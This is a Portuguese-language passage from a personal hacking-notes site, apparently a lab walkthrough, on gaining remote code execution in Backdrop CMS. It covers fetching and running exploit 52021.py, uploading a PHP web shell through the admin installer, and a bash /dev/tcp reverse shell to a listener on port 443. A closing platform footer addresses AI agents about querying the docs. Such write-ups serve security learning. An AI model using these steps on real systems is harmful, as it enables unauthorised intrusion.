> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/cms/backdrop-cms-exploitation.md).

# Backdrop

## **Exploração de RCE no Backdrop CMS**

Use as credenciais descobertas para entrar no CMS.

<figure><img src="/files/553290fb73004a80744101baff41e1ce9dc867dc" alt=""><figcaption></figcaption></figure>

**Pesquisa de vulnerabilidades**

Use **searchsploit** para identificar uma vulnerabilidade de RCE:

```bash
searchsploit -m php/webapps/52021.py
```

<figure><img src="/files/1781ef5b5c718439e038a4d0b17830200966804a" alt=""><figcaption></figcaption></figure>

Executamos o exploit:

```bash
python3 52021.py http://10.10.11.58
```

Isso gera um arquivo ZIP contendo uma shell PHP.

<figure><img src="/files/2ce3cf4bdc8888c60a762d2a5cdda3ef976082a5" alt=""><figcaption></figcaption></figure>

Compacte a shell como **tar.gz**:

```bash
tar -czvf shell.tar.gz shell
```

<figure><img src="/files/eb6b3149f31d45a924a80e810710e9588b712ddc" alt=""><figcaption></figcaption></figure>

Faça o upload por meio de **admin / installer / manual**.

<figure><img src="/files/c74fc7a4b81e5e89156a893249592b6d6f6774f4" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/61dbd7777d29edc5d16976a514f406e7aa32f806" alt=""><figcaption></figcaption></figure>

**Execução de comandos**

O **modules/cmd/** a pasta contém **cmd.php**.

<figure><img src="/files/79b41cc8f1f1feede9f8e1d10bd4e328d117aa9e" alt=""><figcaption></figcaption></figure>

Isso permite a execução de comandos:

```bash
ifconfig 
```

<figure><img src="/files/1ec242cb047f0fea49a2e4b41ae52b37a5f24a5d" alt=""><figcaption></figcaption></figure>

### **Reverse shell do Backdrop CMS**

Abra um listener na porta 443:

```bash
nc -nlvp 443 
```

Injete um payload:

```bash
bash -c "bash -i >&/dev/tcp/10.10.14.81/443 0>&1"
```

<figure><img src="/files/6bd9f1105bd6ffc595b645eb79339e4534c87a58" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/cms/backdrop-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
